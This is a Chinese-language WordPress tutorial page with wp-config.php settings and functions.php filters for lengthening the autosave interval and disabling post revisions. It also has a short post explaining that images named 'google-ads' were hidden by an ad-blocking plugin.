由于WordPress的機制,無法完全禁用自動保存,但你可以通過設(shè)置較長的時間間隔,來實現(xiàn)類似的效果,例如 ▼
define( 'AUTOSAVE_INTERVAL', 3600 ); // 默認是 60,3600秒表示自動保存間隔1小時
// WordPress設(shè)置自動保存間隔/秒 define('AUTOSAVE_INTERVAL', 3600); // WordPress設(shè)置修訂版本最多允許幾個 define('WP_POST_REVISIONS', 3);
你可以將以下定義,添加到你的 WordPress 站點的 wp-config.php
文件中 ▼
define( 'AUTOSAVE_INTERVAL', 3600 ); // 3600秒表示自動保存間隔1小時 define( 'EMPTY_TRASH_DAYS', 7 ); // 在 7 天后被刪除 define( 'DISABLE_WP_CRON', true ); // 禁用內(nèi)部Wp-Cron函數(shù) define('WP_POST_REVISIONS', false ); // 禁用文章修訂版本
define( 'AUTOSAVE_INTERVAL', 86400 );
自動保存間隔24小時無法生效。如果方法1的禁用文章修訂版本無效,需要使用以下WordPress禁用所有文章類型的修訂版本的代碼。
請在WordPress主題模板文件functions.php
中,添加以下禁用文章修訂版本代碼 ▼
// WordPress禁用所有文章類型的修訂版本 add_filter( 'wp_revisions_to_keep', 'cwl_wp_revisions_to_keep', 10, 2 ); function cwl_wp_revisions_to_keep( $num, $post ) { return 0;}
WordPress禁用某種文章類型的修訂版本的代碼 ▼
// WordPress禁用某種文章類型的修訂版本 add_filter( 'wp_revisions_to_keep', 'cwl_wp_revisions_to_keep', 10, 2 ); function cwl_wp_revisions_to_keep( $num, $post ) { if ( 'post_type' == $post->post_type ) { //引號中post_type改為你想禁用修訂版本的文章類型 return 0; } return $num; }
至于WordPress自動草稿,你無法禁用它們,有個重要的原因。
Audrey Capital(Matt Mullenweg 的天使投資公司)的技術(shù)忍者 Samuel ‘Otto’ Wood說:
之所以存在自動草稿,是因為多個用戶可以同時創(chuàng)建新帖子。如果兩個人幾乎在同一時間進入 post-new,然后他們的第一次自動保存幾乎同時發(fā)生,那么就會出現(xiàn)競爭條件,可能導(dǎo)致其中一個人取回錯誤的帖子 ID,這將導(dǎo)致帖子被覆蓋/丟失,當(dāng)他們繼續(xù)編輯帖子時。
自動草稿會在顯示編輯屏幕之前創(chuàng)建帖子并獲取新帖子的 ID,從而防止兩個同時作者在瀏覽器的數(shù)據(jù)中意外地擁有相同的帖子 ID。
負責(zé) WordPress 的 TinyMCE 集成的 Andrew Ozz說:
這也使得在保存第一個草稿之前上傳圖像成為可能,并且它們將準(zhǔn)確地附加到新帖子中。
對于使用帶有古騰堡編輯器的 WordPress 5.0+ 版本的人,下面的代碼片段可以禁用自動草稿/保存 ▼
/** * 禁用古騰堡編輯器自動保存 (間隔 3600秒) */ add_filter( 'block_editor_settings', 'cwl_block_editor_settings', 10, 2 ); function cwl_block_editor_settings( $editor_settings, $post ) { $editor_settings['autosaveInterval'] = 3600; return $editor_settings; }
希望我們網(wǎng)站( https://www.wordpressx.com/ ) 分享的《WordPress文章如何禁止自動保存草稿/禁用修訂版本?》,對您有幫助。
1 為什么網(wǎng)站無法顯示帶有g(shù)oogle-adsense命名的圖片?
WordPress為何無法顯示帶有g(shù)oogle-adsense命名的圖片?
在我們網(wǎng)站發(fā)布文章,想要揭露網(wǎng)上合法貸款騙局,首張圖片命名中包含“google-ads”,一直無法顯示該圖片。
起初以為是空間商禁止了此類圖片名稱,就想到在本地電腦上做個測試。
在本地電腦測試后,發(fā)現(xiàn)WordPress文章編輯器仍然無法顯示帶有g(shù)oogle-ads命名的圖片:
google-ads.jpg
google-adsense.jpg
google-ads.png
google-adsense.png
在前臺也無法顯示此類圖片。
多想想為什么,也許就會想到答案。
突然想到,是因為不希望錯誤點擊自己的AdSense廣告,索性啟用了廣告屏蔽插件,不料竟然連帶有g(shù)oogle-ads命名的圖片也自動屏蔽了。
所以為了避免已啟用廣告屏蔽插件的訪客,無法查看顯示帶有g(shù)oogle-ads命名的圖片,建議不要以“google-ads”作為圖片名稱。
不以“google-ads”作為圖片名稱,重命名為其它名稱即可。
例如:將圖片重命名為“ggads
”或“gg-adsense
”。
在此做個記錄,以免忘記犯錯又浪費時間了。
順便提醒所有使用WordPress建站的朋友,需要注意避免帶有“google-ads
”或“google-adsense
”之類命名的圖片。
擴展閱讀:
WordPress外鏈特色圖片插件:Featured Image from URL
WordPress如何添加外鏈特色圖片?Featured Image from URL插件設(shè)定雖然用WordPress建站有很多優(yōu)勢,但是在WordPress默認的媒體庫,并不是那么好用:上傳圖片會自動裁剪生成各種尺寸……
希望我們網(wǎng)站( https://www.wordpressx.com/ ) 分享的《WordPress為何無法顯示帶有g(shù)oogle-adsense命名的圖片?》,對您有幫助。